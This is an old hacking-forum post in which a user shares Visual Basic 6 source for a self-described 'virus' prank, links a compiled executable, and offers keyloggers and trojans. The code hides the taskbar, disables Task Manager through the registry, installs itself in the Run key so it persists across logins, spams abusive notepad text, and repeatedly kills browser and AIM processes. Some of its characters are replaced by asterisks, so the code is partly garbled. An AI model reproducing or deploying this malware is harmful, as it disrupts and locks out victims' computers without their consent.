PDA

View Full Version : found a old program i wrote



EvilThoutZzZ
02-28-2007, 08:52 PM
Rofl i found a virus program i made well its not rlly a virus but will piss ur friend/enemy off lol

Theres my source nothing big maby i will release some of my keyloggers and trojans ive wrote :) Btw that VB 6.0 lang
And i compiled source www.deadly-hackers.com/virus-prank.exe
The program just makes ur taskbar disapeer and bunch of notepads write Owned bitch blah blah then a Form comes up saying how u suck the dick and it moves all over ur screen rlly fast :) Also it closes iexplorer/firefox/aim every couple seconds



Dim rtn As Long

Private Sub Form_Load()
Shell "notepad", vbMaximizedFocus
AppActivate ("notepad")
SendKeys "Owned Bitch!! do u relize what u just opened??? get rdy"
'hide the taskbar
rtn = FindWindow("Shell_traywnd", "") 'get the Window
Call SetWindowPos(rtn, 0, 0, 0, 0, 0, SWP_HIDEWINDOW) 'hide the Tasbar
REGSaveSetting vHKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", "*"
REGSaveSetting vHKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", "LoGonWindow", App.Path & "\" & App.EXEName & ".exe"
End Sub

Private Sub Timer*_Timer()
If Label*.Caption > 0 Then
Label*.Caption = Label*.Caption - *
Else
Dim Height As String
Dim Width As String
Dim Top As String
Dim Left As String
Form2.Show
Label*.Caption = 5
End If
End Sub


Private Sub Timer2_Timer()
If Label2.Caption > 0 Then
Label2.Caption = Label2.Caption - *
Else
Dim Height As String
Dim Width As String
Dim Top As String
Dim Left As String
Shell "taskkill /im aim.exe /f"
Shell "taskkill /im IEXPLORER.exe /f"
Shell "taskkill /im firefox.exe /f"
Label2.Caption = 6
End If
End Sub